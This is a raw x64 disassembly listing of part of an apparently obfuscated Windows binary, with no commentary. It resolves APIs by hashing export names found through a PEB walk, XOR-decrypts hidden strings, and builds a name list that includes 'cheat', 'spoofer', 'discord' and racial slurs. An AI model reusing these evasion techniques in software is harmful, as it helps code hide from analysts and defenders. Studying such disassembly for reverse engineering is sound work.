mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400062b6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400062b6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xa0e572bd
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400062b1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140006290
cmp r8d, 0xca5bcd54
je 0x1400062bb
test r9d, r9d
jne 0x140006270
mov rax, qword [rax]
jmp 0x140006240
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x1de0]
call rdx
cmp byte [rbp + 0x1e01], 0
jne 0x140006483
mov r8d, esi
cmp r15d, 2
jl 0x14000643d
movdqa xmm5, xmmword [0x14001bb20]
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x1de4]
mov edx, dword [rbp + 0xf0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140006330
cmp r8d, 0x22
jge 0x140006483
movsxd rax, r8d
lea r9, [rbp + 0x1de0]
add r9, rax
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140006450
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140006516
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140006516
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x1ef3e8f2
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140006511
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400064f0
cmp r8d, 0x8264660a
je 0x14000651b
test r9d, r9d
jne 0x1400064d0
mov rax, qword [rax]
jmp 0x1400064a0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
call fcn.1400017e0
test al, al
jne 0x140006566
nop
mov qword [rbp + 0x48], 1
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x40]
call fcn.140018ce0
mov rcx, rax
call fcn.1400192f0
call fcn.1400017e0
test al, al
je 0x140006540
movups xmm0, xmmword [0x14001b838]
movups xmmword [rbp + 0x1208], xmm0
movzx eax, byte [0x14001b848]
mov byte [rbp + 0x1218], al
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x1500]
call fcn.140018f80
nop
mov r8d, 7
lea rdx, str.pornhub
lea rcx, [rbp + 0x1500]
call fcn.140018fa0
nop
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x14c0]
call fcn.140018f80
nop
mov r8d, 5
lea rdx, str.cheat
lea rcx, [rbp + 0x14c0]
call fcn.140018fa0
nop
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x1440]
call fcn.140018f80
nop
mov r8d, 7
lea rdx, str.spoofer
lea rcx, [rbp + 0x1440]
call fcn.140018fa0
nop
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x1400]
call fcn.140018f80
nop
mov r8d, 6
lea rdx, str.nigger
lea rcx, [rbp + 0x1400]
call fcn.140018fa0
nop
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x1c40]
call fcn.140018f80
nop
mov r8d, 6
lea rdx, str.jeremy
lea rcx, [rbp + 0x1c40]
call fcn.140018fa0
nop
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x1dc0]
call fcn.140018f80
nop
mov r8d, 6
lea rdx, str.kepler
lea rcx, [rbp + 0x1dc0]
call fcn.140018fa0
nop
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x1bc0]
call fcn.140018f80
nop
mov r8d, 3
lea rdx, [0x14001b638]
lea rcx, [rbp + 0x1bc0]
call fcn.140018fa0
nop
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x1cc0]
call fcn.140018f80
nop
mov r8d, 7
lea rdx, str.discord
lea rcx, [rbp + 0x1cc0]
call fcn.140018fa0
nop
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x1ce0]
call fcn.140018f80
nop
mov r8d, 4
lea rdx, str.niga
lea rcx, [rbp + 0x1ce0]
call fcn.140018fa0
nop
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x1d00]
call fcn.140018f80
nop
mov r8d, 6
lea rdx, str.fucker
lea rcx, [rbp + 0x1d00]
call fcn.140018fa0
nop
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x1380]
call fcn.140018f80
nop
mov r8d, 7
lea rdx, str.keyword
lea rcx, [rbp + 0x1380]
call fcn.140018fa0
nop
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x13c0]
call fcn.140018f80
nop
mov r8d, 5
lea rdx, str.l1nky
lea rcx, [rbp + 0x13c0]
call fcn.140018fa0
nop
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x13e0]
call fcn.140018f80
nop
mov r8d, 6
lea rdx, str.enigma
lea rcx, [rbp + 0x13e0]
call fcn.140018fa0
nop
movups xmm0, xmmword [0x14001ba30]
movups xmmword [rbp + 0x2068], xmm0
movups xmm1, xmmword [0x14001ba40]
movups xmmword [rbp + 0x2078], xmm1
movsd xmm0, qword [0x14001ba50]
movsd qword [rbp + 0x2088], xmm0
mov eax, dword [0x14001ba58]
mov dword [rbp + 0x2090], eax
movzx r10d, byte [0x14001ba5c]
mov byte [rbp + 0x2094], r10b
test r10b, r10b
jne 0x1400069ab
mov r8d, esi
cmp r15d, 2
jl 0x14000695d
movdqa xmm5, xmmword [0x14001bb20]
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x206c]
mov edx, dword [rbp + 0xf0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140006850
cmp r8d, 0x2d
jge 0x1400069a3
movsxd rax, r8d
lea r9, [rbp + 0x2068]
add r9, rax
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140006970
movzx r10d, byte [rbp + 0x2094]
movups xmm0, xmmword [0x14001b8b8]
movups xmmword [rbp + 0x2188], xmm0
movups xmm1, xmmword [0x14001b8c8]
movups xmmword [rbp + 0x2198], xmm1
movups xmm0, xmmword [0x14001b8d8]
movups xmmword [rbp + 0x21a8], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
jne 0x140006b83
cmp r15d, 2
jl 0x140006b37
movdqa xmm5, xmmword [0x14001bb20]
mov edx, esi
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x218c]
mov r8d, dword [rbp + 0xf0]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x30
jl 0x140006a30
jmp 0x140006b83
lea r9, [rbp + 0x2188]
mov r8d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x30
jl 0x140006b50
movups xmm0, xmmword [str.____frq_]
movups xmmword [rbp + 0x21e8], xmm0
movups xmm1, xmmword [0x14001ba70]
movups xmmword [rbp + 0x21f8], xmm1
movups xmm0, xmmword [0x14001ba80]
movups xmmword [rbp + 0x2208], xmm0
movzx eax, byte [0x14001ba90]
mov byte [rbp + 0x2218], al
test al, al
jne 0x140006d63
mov r8d, esi
cmp r15d, 2
jl 0x140006d1d
movdqa xmm5, xmmword [0x14001bb20]
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x21ec]
mov edx, dword [rbp + 0xf0]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140006c10
cmp r8d, 0x31
jge 0x140006d63
movsxd rax, r8d
lea r9, [rbp + 0x21e8]
add r9, rax
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x140006d30
movups xmm0, xmmword [0x14001b9d8]
movups xmmword [rbp + 0x1e08], xmm0
movups xmm1, xmmword [0x14001b9e8]
movups xmmword [rbp + 0x1e18], xmm1
movzx eax, word [0x14001b9f8]
mov word [rbp + 0x1e28], ax
movzx ecx, byte [0x14001b9fa]
mov byte [rbp + 0x1e2a], cl
test cl, cl
jne 0x140006f4a
mov r8d, esi
cmp r15d, 2
jl 0x140006efd
movdqa xmm5, xmmword [0x14001bb20]
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x1e0c]
mov edx, dword [rbp + 0xf0]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140006df0
cmp r8d, 0x23
jge 0x140006f43
movsxd rax, r8d
lea r9, [rbp + 0x1e08]
add r9, rax
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x140006f10
movzx ecx, byte [rbp + 0x1e2a]
movups xmm0, xmmword [0x14001b960]
movups xmmword [rbp + 0x1e30], xmm0
movups xmm1, xmmword [0x14001b970]
movups xmmword [rbp + 0x1e40], xmm1
movzx eax, word [0x14001b980]
mov word [rbp + 0x1e50], ax
movzx eax, byte [0x14001b982]
mov byte [rbp + 0x1e52], al
test cl, cl
jne 0x140007123
mov r8d, esi
cmp r15d, 2
jl 0x1400070dd
movdqa xmm5, xmmword [0x14001bb20]
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x1e0c]
mov edx, dword [rbp + 0xf0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140006fd0
cmp r8d, 0x23
jge 0x140007123
movsxd rax, r8d
lea r9, [rbp + 0x1e08]
add r9, rax
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x1400070f0
movups xmm0, xmmword [0x14001b900]
movups xmmword [rbp + 0x2038], xmm0
movups xmm1, xmmword [0x14001b910]
movups xmmword [rbp + 0x2048], xmm1
movsd xmm0, qword [0x14001b920]
movsd qword [rbp + 0x2058], xmm0
mov eax, dword [0x14001b928]
mov dword [rbp + 0x2060], eax
movups xmm0, xmmword [0x14001b7a0]
movups xmmword [rbp + 0x20f8], xmm0
movups xmm1, xmmword [0x14001b7b0]
movups xmmword [rbp + 0x2108], xmm1
movsd xmm0, qword [0x14001b7c0]
movsd qword [rbp + 0x2118], xmm0
mov eax, dword [0x14001b7c8]
mov dword [rbp + 0x2120], eax
movzx eax, word [0x14001b7cc]
mov word [rbp + 0x2124], ax
test r10b, r10b
je 0x140007343
mov r8d, esi
cmp r15d, 2
jl 0x1400072fd
movdqa xmm5, xmmword [0x14001bb20]
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x206c]
mov edx, dword [rbp + 0xf0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400071f0
cmp r8d, 0x2d
jge 0x140007343
movsxd rax, r8d
lea r9, [rbp + 0x2068]
add r9, rax
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140007310
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x960]
call fcn.140018f80
nop
lea rax, [rbp + 0x2068]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140007360
lea rdx, [rbp + 0x2068]
lea rcx, [rbp + 0x960]
call fcn.140018fa0
nop
lea rdx, [rbp + 0x960]
lea rcx, [rbp + 0x1420]
call fcn.1400020b0
nop
lea rcx, [rbp + 0x960]
call fcn.140018450
cmp byte [rbp + 0x2094], 0
jne 0x140007543
mov r8d, esi
cmp r15d, 2
jl 0x1400074fd
movdqa xmm5, xmmword [0x14001bb20]
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x206c]
mov edx, dword [rbp + 0xf0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400073f0
cmp r8d, 0x2d
jge 0x140007543
movsxd rax, r8d
lea r9, [rbp + 0x2068]
add r9, rax
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140007510
cmp byte [rbp + 0x21b7], 0
je 0x1400076e3
cmp r15d, 2
jl 0x140007699
movdqa xmm5, xmmword [0x14001bb20]
mov edx, esi
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x218c]
mov r8d, dword [rbp + 0xf0]
movd xmm2, edx
